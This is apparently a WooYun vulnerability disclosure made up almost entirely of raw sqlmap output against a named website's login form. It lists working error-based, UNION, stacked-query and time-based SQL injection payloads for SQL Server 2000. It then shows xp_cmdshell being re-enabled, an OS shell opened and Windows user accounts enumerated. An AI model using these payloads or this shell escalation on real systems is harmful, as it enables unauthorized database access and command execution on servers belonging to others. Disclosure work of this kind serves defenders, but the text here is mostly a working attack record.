WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: name    Type: error-based    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause    Payload: job=login&name=' AND 5032=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(114)+CHAR(104)+CHAR(58)+(SELECT (CASE WHEN (5032=5032) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(109)+CHAR(101)+CHAR(121)+CHAR(58))) AND 'YrDi'='YrDi&pass=&submit=进 入    Type: UNION query    Title: Generic UNION query (NULL) - 1 to 10 columns    Payload: job=login&name=' UNION ALL SELECT NULL, NULL, NULL, NULL, CHAR(58)+CHAR(98)+CHAR(114)+CHAR(104)+CHAR(58)+CHAR(69)+CHAR(109)+CHAR(88)+CHAR(103)+CHAR(73)+CHAR(86)+CHAR(88)+CHAR(88)+CHAR(87)+CHAR(82)+CHAR(58)+CHAR(109)+CHAR(101)+CHAR(121)+CHAR(58), NULL, NULL, NULL, NULL, NULL-- AND 'rnET'='rnET&pass=&submit=进 入    Type: stacked queries    Title: Microsoft SQL Server/Sybase stacked queries    Payload: job=login&name='; WAITFOR DELAY '0:0:5';-- AND 'xBwX'='xBwX&pass=&submit=进 入    Type: AND/OR time-based blind    Title: Microsoft SQL Server/Sybase time-based blind    Payload: job=login&name=' WAITFOR DELAY '0:0:5'-- AND 'UyAy'='UyAy&pass=&submit=进 入---do you want to exploit this SQL injection? [Y/n][10:47:51] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2000[10:47:51] [INFO] testing if current user is DBA[10:47:51] [INFO] read from file 'C:\Python27\sqlmap\output\tjgrain.com\session': 1[10:47:51] [INFO] checking if xp_cmdshell extended procedure is available, please wait..[10:47:51] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] y[10:48:05] [INFO] xp_cmdshell re-enabled successfully[10:48:06] [INFO] going to use xp_cmdshell extended procedure for operating system command execution[10:48:06] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTERos-shell> net userdo you want to retrieve the command standard output? [Y/n/a][10:48:15] [INFO] the SQL query used returns 1 entriescommand standard output:---\\ \b5\c4\d3\c3\bb\a7\d5\ca\bb\a7-------------------------------------------------------------------------------admin                    ASPNET                   Guest